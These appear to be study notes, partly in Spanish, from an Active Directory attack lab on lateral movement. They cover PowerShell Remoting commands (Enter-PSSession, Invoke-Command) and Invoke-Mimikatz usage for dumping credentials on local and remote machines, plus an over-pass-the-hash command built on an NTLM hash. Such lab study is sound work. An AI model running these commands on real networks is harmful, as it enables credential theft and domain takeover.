# 7. Lateral Movement - O7 Una vez se haya escalado privilegios localmente o en otras máquinas se realiza una enumeración pero ahora intrusiva para buscar acceso de administrador local o de dominio. ## Lateral Movement - PowerShell Remoting 1. One-to-one Es un inicio de sesión interactivo a otra máquina en donde no se dejan las credenciales 2. PSSession Interactive Runs in a new process(wsmprovhost) Is Stateful Requisitos: Tener privilegios de Administrador en dcorp-adminsrv ``` Requisitos: Tener privilegios de Administrador en dcorp-adminsrv Enter-PSSession -ComputerName <nombreComputadora> whoami whoami /priv ``` ![](https://i.imgur.com/yhdDzvP.png) Se tienen las credenciales en la variable `sess` ![](https://i.imgur.com/2uwyt4J.png) ![](https://i.imgur.com/qv0INnh.png) Si no se usara una variable para guardar la sesión `sess` no se podría guardar la variable `proc` al iniciar otra sesión. 3. Useful cmdlets New-PSSession Enter-PSSession - Use below to execute commands or scriptblocks: ``` Invoke-Command -ScripBlock{whoami;hostname} -ComputerName(Get-Content <list_of_servers>) Invoke-Command -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local -ScripBlock{whoami;hostname} ``` ![](https://i.imgur.com/zVQwjO1.png) - Use below to execute scripts from files: ``` Invoke-Command -FilePath C:\scripts\Get-PassHashes.ps -ComputerName (Get-Content <list_of_servers>) Invoke-Command -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local -FilePath C:\AD\Tools\PowerUp.ps1 ``` ![](https://i.imgur.com/WDTDBCF.png) Nos dice que solo acepta tipos principales Ejecutamos el siguiente comando en la máquina remota: ``` Invoke-Command -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local -ScriptBlock{$ExecutionContext.SessionState.LanguageMode} ``` ![](https://i.imgur.com/4cpOoAL.png) Vemos que lo anterior se está ejecutando en el modo `ConstrainedLanguage`. A diferencia de ejecutarla en la máquina local: ``` $ExecutionContext.SessionState.LanguageMode ``` ![](https://i.imgur.com/F2sp07r.png) ¿Qué es ConstrainedLanguage? En una powershell con ConstrainedLanguage no podemos ejecutar algunos comandos, por ejemplo no se pueden usar clases de RED. - Use below to execute locally loaded function on the remote machines: ``` Invoke-Command -ScriptBlock ${function:Get-PassHashes} -ComputerName (Get-Content <list_of_servers>) ``` ![](https://i.imgur.com/heg5s8L.png) ``` . .\hello.ps1 hello Invoke-Command -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local -ScriptBlock ${function:hello} ``` ![](https://i.imgur.com/lvpfYTJ.png) - In this case, we are passing Arguments. Keep in mind that only positional arguments could be passed this away: ``` Invoke-Command -ScriptBlock ${function:Get-PassHashes} -ComputerName (Get-Content <list_of_servers>) -ArgumentList ``` - In below, a function call within the script is used: ``` Invoke-Command -Filepath C:\scripts\Get-PassHashes.ps1 -ComputerName (Get-Content <list_of_servers>) ``` - Para cargar una función y obtener una sesión interactiva ``` Invoke-Command -FilePath C:\AD\Tools\hello.ps1 -Session $sess Enter-PSSession -Session $sess hello.ps1 ``` ![](https://i.imgur.com/3GCNzWj.png) - Use below to execute "Stateful" commands using Invoke-Command: ``` $Sess = New-PSSession -Computername Server1 Invoke-Command -Session $Sess -ScriptBlock {$Proc = Get-Process} Invoke-Command -Session $Sess -ScriptBlock {$Proc Name} ``` ## Lateral Movement - Invoke-Mimikatz - Dump credentials on a local machine ``` Invoke-Mimikatz -DumpCreds ``` - Dump credentials on multiple remote machines ``` Invoke-Mimikatz -DumpCreds -ComputerName @("sys1" "sys2") ``` - Invoke-Mimikatz uses PowerShell remoting cmdlet Invoke-Command to do above - "Over pass the hash" generate tokens from hashes ``` Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:dollarcorp.moneycorp.local /ntlm:<ntlmhash> /run:powershell.exe"' ``` ## Learning Objective 7